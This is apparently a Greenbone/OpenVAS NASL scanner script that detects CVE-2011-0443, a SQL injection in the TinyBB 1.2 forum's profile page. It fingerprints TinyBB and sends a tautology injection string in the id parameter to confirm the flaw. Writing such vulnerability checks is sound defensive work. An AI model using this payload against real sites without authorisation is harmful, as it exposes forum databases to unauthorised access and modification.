TinyBB 'Profile' SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103028");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-01-13 13:28:59 +0100 (Thu, 13 Jan 2011)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2011-0443");

  script_name("TinyBB 'Profile' SQL Injection Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45737");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Vendor patch is available. Please see the reference for more details.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"TinyBB is prone to an SQL-injection vulnerability because it fails
  to sufficiently sanitize user-supplied data before using it in an SQL query.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application, access or modify data, or exploit latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"TinyBB 1.2 is vulnerable. Other versions may also be affected.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port))
  exit(0);

foreach dir(make_list_unique("/tinybb", "/board", "/forum", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  buf = http_get_cache(port:port, item:dir + "/index.php");
  # <meta name="description" content="TinyBB Powered Forum" />
  # "Proudly powered by <a href='http://tinybb.net'>TinyBB</a> <img src=\"icons/smile.png\"><br />"
  if(! buf || buf !~ "^HTTP/1\.[01] 200" || buf !~ "(TinyBB Powered Forum|Proudly powered by.+TinyBB)")
    continue;

  url = string(dir, "/index.php?page=profile&id=%27%20or%20%27a%27=%27a");

  if(http_vuln_check(port:port, url:url, pattern:"admin's Profile", extra_check:"TinyBB")) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);